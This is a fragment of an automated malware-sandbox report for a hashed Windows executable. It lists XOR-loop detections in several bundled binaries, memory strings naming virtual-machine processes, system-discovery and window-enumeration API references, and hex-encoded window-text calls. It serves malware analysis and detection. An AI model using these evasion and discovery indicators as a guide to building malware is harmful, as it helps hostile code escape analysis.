2431300; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2438294; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2439782; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2445486; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2453364; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2471683; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2480607; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2482115; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2498627; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2531960; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2532212; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2545132; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2545939; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2548120; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2561841; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2575609; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2585766; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2585984; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2589006; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2596612; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2601094; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2604606; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2608062; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2614325; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2655753; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2655875; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2663845; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2667269; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2668082; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2675346; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2687428; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2693178; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2703112; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2708772; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2712833; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2715066; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2735020; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2736206; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2736461; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2741957; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2757233; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2766678; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2780607; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2781288; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2785617; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2839724; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2852318; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2857787; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2875135; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2886983; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2900310; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2907950; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2909759; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2925238; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2925710; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 823441; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 830553; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 832615; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 834573; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 835263; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 840295; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 841955; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 844077; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 123470; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 365836; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 475702; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 475708; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 492893; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 538835; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 538854; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 556981; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 560700; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 572741; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 572933; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 573519; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 616844; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667009; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667378; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667411; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667444; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667477; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667752; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667821; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667890; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667959; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 684072; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 684105; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 684138; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 684171; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 691156; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 824755; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 74704; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 827212; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 827876; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 835224; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 836152; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 844038; code bytes = 8030 Found XOR loop in file "NSudoLG.exe" at offset 13536; code bytes = 30d0 Found XOR loop in file "NSudoLG.exe" at offset 118068; code bytes = 30d0 Found XOR loop in file "NSudoLG.exe" at offset 118100; code bytes = 30d0 Found XOR loop in file "NSudoLG.exe" at offset 118116; code bytes = 30d0 Found XOR loop in file "NSudoLG.exe" at offset 129836; code bytes = 30d0 Found XOR loop in file "NSudoLG.exe" at offset 54300; code bytes = 33c1 Found XOR loop in file "NSudoLG.exe" at offset 143587; code bytes = 8030 Found XOR loop in file "cecho.exe" at offset 4788; code bytes = 8030 Found XOR loop in file "cecho.exe" at offset 6721; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 116795; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 260833; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 320669; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 321247; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 408646; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 436462; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 536626; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 651417; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 826400; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 864546; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 891442; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 954914; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1017900; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1045929; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1056071; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1181741; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1235281; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1317416; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1427555; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1436080; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1446885; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1522894; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1664299; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1830152; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1832587; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1842311; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1923588; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1930621; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2051568; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2054988; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2111317; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2214373; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2261924; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2311080; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2694678; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2818370; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2856095; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2930639; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2952893; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2971197; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3000906; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3092102; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3242593; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3260939; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3287040; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3303562; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3318635; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3322030; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3505831; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3566374; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3610368; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3725805; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3743919; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 57212; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 74271; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 74538; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 126615; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 130454; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 314265; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 317813; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 341663; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 414140; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 444075; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 566052; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 643665; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 657839; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 745213; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 809859; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 889776; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 934940; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1020115; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1041421; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1206653; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1284717; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1427436; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1436835; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1574401; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1577065; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1633595; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1644280; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1671673; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1678304; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1695819; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1805137; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1951482; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1982575; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2002945; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2012705; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2026865; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2045110; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2125190; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2161319; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2192574; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2192679; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2356378; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2426036; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2547367; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2568224; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2578408; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2813389; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2950309; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3115207; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3116594; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3125378; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3127008; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3344114; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3476594; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3494940; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3498052; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3542603; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3589508; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3592751; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3643517; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3658418; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3675139; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3700034; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3720133; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1684; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 52910; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 65387; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 65568; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 96816; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 110405; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 119796; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 121139; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 254687; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 321212; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 327001; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 488892; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 660510; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 759352; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 966772; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 980952; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1055793; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1099764; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1103847; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1301094; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1322590; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1360494; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1413374; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1415357; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1447245; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1619592; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1688586; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1693085; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1741542; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1744562; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1752170; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1761384; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1913754; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2049302; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2099230; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2209973; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2213353; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2288043; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2358187; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2456629; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2489565; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2608565; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2616850; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2638788; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2649609; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2665976; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2738666; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2844124; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2882588; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2898161; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3029338; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3106686; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3186418; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3203980; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3214221; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3249126; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3421126; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3465365; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3521095; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3548360; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3576122; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3750534; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3757311; code bytes = 80302d:T127e,file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00001124.00000000.95818.65970000.00000004.mdmp, 00000000-00001124.00000000.95818.65C10000.00000004.mdmp") Found string "svchost.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE WmiPrvSE.exe OSPPSVC.EXE sedsvc.exe" (Indicator: "vmtoolsd.exe"; Source: "00000000-00001124.00000000.95818.65970000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00001124.00000000.95818.65970000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00001124.00000000.95818.65C10000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00001952.00000000.94843.91350000.00000004.mdmp, 00000000-00001952.00000000.94843.91650000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00001952.00000000.94843.91650000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00002700.00000000.95168.47170000.00000004.mdmp, 00000000-00002700.00000000.95168.47190000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00003388.00000000.95492.30E10000.00000004.mdmp, 00000000-00003388.00000000.95492.310F0000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00003388.00000000.95492.310F0000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp, 00000000-00004320.00000000.92242.75070000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004320.00000000.92242.75070000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004836.00000000.93867.02A00000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004836.00000000.93867.02A00000.00000004.mdmp, 00000000-00004836.00000000.93867.02A50000.00000004.mdmp") Found string "xe svchost.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE WmiPrvSE.exe OSPPSVC.EXE sedsvc.exe svchost.exe svchost.exe WmiApSrv.exe Applicatio~" (Indicator: "vmtoolsd.exe"; Source: "00000000-00004836.00000000.93867.02A50000.00000004.mdmp") Found string "t.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe VGAuthService.exe vm3dservice.exe vmtoolsd.exe svchost.exe vm3dservice.exe svchost.exe svchost.exe svchost.exe svchost.exe dllhost.exe msdtc.exe WmiP" (Indicator: "vmtoolsd.exe"; Source: "00000000-00004836.00000000.93867.02A50000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp, 00000000-00004868.00000000.91261.F5DA0000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004868.00000000.91261.F5DA0000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00005024.00000000.92892.D6FA0000.00000004.mdmp, 00000000-00005024.00000000.92892.D7230000.00000004.mdmp") Found string "ntimeBroker.exe RuntimeBroker.exe svchost.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE WmiPrvSE.exe OSPPSVC.EXE sedsvc.exe svchost.exe svcho" (Indicator: "vmtoolsd.exe"; Source: "00000000-00005024.00000000.92892.D6FA0000.00000004.mdmp") Found string ".exe explorer.exe ShellExperienceHost.exe SearchUI.exe RuntimeBroker.exe RuntimeBroker.exe svchost.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE WmiPrvSE.exe OSPPSVC.EXE sedsvc.exe svchost.exe svchost.exe WmiApSrv.exe ApplicationFrameHo" (Indicator: "vmtoolsd.exe"; Source: "00000000-00005024.00000000.92892.D6FA0000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00005024.00000000.92892.D7230000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00005036.00000000.96866.C7D80000.00000004.mdmp, 00000000-00005036.00000000.96866.C8010000.00000004.mdmp") Found string "exe vm3dservice.exe vmtoolsd.exe svchost.exe vm3dservice.exe svchost.exe svchost.exe svchost.exe svchost.exe dllhost.exe msdtc.exe WmiPr" (Indicator: "vmtoolsd.exe"; Source: "00000000-00005036.00000000.96866.C7D80000.00000004.mdmp") Found string "hUI.exe RuntimeBroker.exe RuntimeBroker.exe svchost.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE WmiPrvSE.exe OSPPSVC.EXE sedsvc.exe svchost1" (Indicator: "vmtoolsd.exe"; Source: "00000000-00005036.00000000.96866.C7D80000.00000004.mdmp")2e:T493,Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; File: "00000000-00006000.00000000.97850.011A1000.00000020.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; File: "00000000-00006000.00000000.97850.011A1000.00000020.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpaceEx"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GlobalMemoryStatus" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp")2f:T51b,Found system information discovery API: "ExpandEnvironmentStringsW" in file "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" Found system information discovery API: "GetSystemInfo" in file "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" Found system information discovery API: "GetEnvironmentStringsW" in file "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" Found system information discovery API: "GetNativeSystemInfo" in file "00000000-00006000.00000000.97850.011A1000.00000020.mdmp" Found system information discovery API: "ZwQuerySystemInformation" in file "00000000-00006300.00000000.98189.00972000.00000080.mdmp" Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp" Found system information discovery API: "NtQuerySystemInformation" in "00000000-00004692.00000000.89330.40017000.00000002.mdmp" Found system information discovery API: "GetMonitorInfoA" in "00000000-00004692.00000000.89330.40017000.00000002.mdmp" Found system information discovery API: "GetNativeSystemInfo" in "00000000-00006000.00000000.97850.01251000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00006000.00000000.97850.01251000.00000002.mdmp"30:T862,Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "PostMessage" (Indicator: "postmessage"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found reference to API "EnumWindowStationsW" (Indicator: "enumwindows"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "1201201982,2212,110,,EnumWindows,user32.dll,"00:23:11.421",RX=0,PX=0" (Indicator: "enumwindows"; Source: "00000000-00004692.00000000.89330.02DC0000.00000004.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "PostMessageA" (Indicator: "postmessage"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "FindWindowA" (Indicator: "findwindow"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp")31:Tbba,"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "26001f0430043f043a04300420003d04300437043d043004470435043d0438044f04" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "26001e04310437043e0440042e002e002e00" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "25043e043404200043044104420430043d043e0432043a043804" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "23044104420430043d043e043204380442044c04" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "1e0442043c0435043d043004" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "%LOCALAPPDATA%\Temp" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "1f04400438043e044104420430043d043e043204380442044c04" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000370065003500630079003700770034004f002e00620061007400" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter 